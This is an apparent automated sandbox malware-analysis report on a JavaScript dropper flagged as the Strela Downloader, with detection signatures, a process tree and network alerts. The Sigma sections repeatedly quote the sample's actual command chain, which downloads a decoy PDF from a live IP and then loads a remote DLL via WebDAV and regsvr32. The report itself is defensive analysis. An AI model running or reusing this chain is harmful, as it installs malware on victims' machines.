Edit tour

Windows Analysis Report
205603875166153346.js

Overview

General Information

Sample name:	205603875166153346.js
Analysis ID:	1588895
MD5:	1b06fe3f9f4efb305d738e760860157d
SHA1:	50680c142b1eb0739383c23a82d114d4f90b0e1b
SHA256:	327808c0ce87a9995949c1df6b3532aa0d869f0bb553e88345048664e0763d9b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3152 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1880 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5544 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7388 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1580,i,6215617842558587158,18327403100547103399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5568 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7276 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3152	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5544, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5544, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ProcessId: 3152, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4280, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ProcessId: 3152, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5544, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7276, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3152, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll, ProcessId: 1880, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:36.086301+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:38.211832+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:36.086301+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 205603875166153346.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 205603875166153346.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
